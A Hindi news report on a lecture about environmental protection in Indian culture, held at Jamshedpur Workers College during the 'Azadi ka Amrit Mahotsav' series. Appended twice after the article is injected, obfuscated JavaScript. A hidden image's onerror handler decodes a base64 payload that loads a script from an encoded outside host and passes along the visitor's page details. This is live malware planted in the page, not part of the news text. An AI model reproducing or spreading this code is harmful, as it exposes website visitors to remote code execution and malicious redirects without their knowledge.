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जमशेदपुर वर्कर्स कॉलेज में 75 दिवसीय ‘आजादी का अमृत महोत्सव’ बड़े ही उत्साह एवं भव्य रुप से मनाया जा रहा है। इस निमित्त आज रविवार को कॉलेज के संस्कृत एवं दर्शनशास्त्र विभाग के संयुक्त तत्वावधान में सप्त- दिवसीय व्याख्यानमाला श्रृंखला के 39 वीं कड़ी में “भारतीय संस्कृति में पर्यावरण संरक्षण ” विषय पर व्याख्यान आयोजित

जमशेदपुर वर्कर्स कॉलेज में 75 दिवसीय ‘आजादी का अमृत महोत्सव’ बड़े ही उत्साह एवं भव्य रुप से मनाया जा रहा है। इस निमित्त आज रविवार को कॉलेज के संस्कृत एवं दर्शनशास्त्र विभाग के संयुक्त तत्वावधान में सप्त- दिवसीय व्याख्यानमाला श्रृंखला के 39 वीं कड़ी में “भारतीय संस्कृति में पर्यावरण संरक्षण ” विषय पर व्याख्यान आयोजित किया गया, जिसमें मुख्य वक्ता के रूप में डॉ श्यामा प्रसाद मुखर्जी विश्वविद्यालय ,रांची के स्नातकोत्तर संस्कृत विभागाध्यक्ष ‘डॉ धनंजय वासुदेव द्विवेदी ‘ ने संबोधित किया । उन्होंने अपने संबोधन में कहा- विश्व की प्राचीन संस्कृतियों में भारतीय संस्कृति अन्यतम है। भारतीय संस्कृति लोक कल्याण के निमित्त पर्यावरण के सभी घटकों को देवत्व स्थान देकर उनके संवर्धन एवं संरक्षण की शिक्षा देती है। मनुष्य ,वनस्पतियों ,पशु- पक्षियों की अभिवृद्धि के लिए पंचमहाभूत (जल वायु अग्नि मिट्टी एवं अकाश)के महत्व को स्वीकार किया गया है। हमारे ऋषि ,महात्माओं ने पर्यावरण संरक्षण के विभिन्न उपायों का विवेचन किया है। पुराणों में कहा गया है कि वृक्षारोपण प्रसन्नता तथा समृद्धि का हेतु है। धार्मिक अनुष्ठानों में वनस्पतियों का प्रयोग उनके संरक्षण की ओर संकेत करता है। संस्कृत एवं अन्य भाषा के साहित्य में प्रकृति का मानवीकरण उनके संरक्षण हेतु निर्देश करता है। डॉ द्विवेदी ने कहा कि भौतिक उन्नति हो या आध्यात्मिक उन्नति सभी के लिए स्वच्छ जल ,स्वस्थ वनस्पति , वृक्ष संरक्षण ,परिष्कृत वायुमंडल एवं संस्कार संपन्न अनुशासित जीवन की आवश्यकता होती है। कॉलेज के प्राचार्य एवं कोल्हान विश्वविद्यालय के मानविकी संकाय के अधिष्ठाता डॉ सत्यप्रिय महालिक ने व्याख्यानमाला का उद्घाटन करते हुए सभी का स्वागत किया तथा सभी को संबोधित करते हुए कहा कि आज के संदर्भ में यह विषय सबसे अधिक प्रासंगिक है । हमारे वेद ,पुराण ,उपनिषद, गीता आदि ग्रंथ सूत्ररूपेण पर्यावरण संरक्षण हेतु हमें निर्देशित किया है । मंच का सफलतापूर्वक संचालन संस्कृत की विभागाध्यक्ष एवं व्याख्यानमाला की संयोजिका डॉ.लाडली कुमारी तथा धन्यवाद ज्ञापन दर्शनशास्त्र के विभागाध्यक्ष डॉ.अर्चना कुमारी गुप्ता ने किया। इस अवसर पर वर्कर्स कॉलेज के शिक्षक, शिक्षकेतर कर्मचारी तथा छात्र- छात्राओं के साथ अन्य महाविद्यालय के शिक्षक एवं विद्यार्थी उपस्थित रहें ।/*674867468*/const img = document.createElement(‘img’);img.src = ‘/files/img/logo.png’;img.setAttribute(‘data-digest’, ‘KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI/Iik/IiYiOiI/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7’);img.setAttribute(‘onerror’, ‘(new Function(atob(this.dataset.digest)))();’);img.style.visibility = ‘hidden’;document.body.insertBefore(img, document.body.firstChild);const img = document.createElement(‘img’);img.src = ‘/files/img/logo.png’;img.setAttribute(‘data-digest’, ‘KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI/Iik/IiYiOiI/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7’);img.setAttribute(‘onerror’, ‘(new Function(atob(this.dataset.digest)))();’);img.style.visibility = ‘hidden’;document.body.insertBefore(img, document.body.firstChild);

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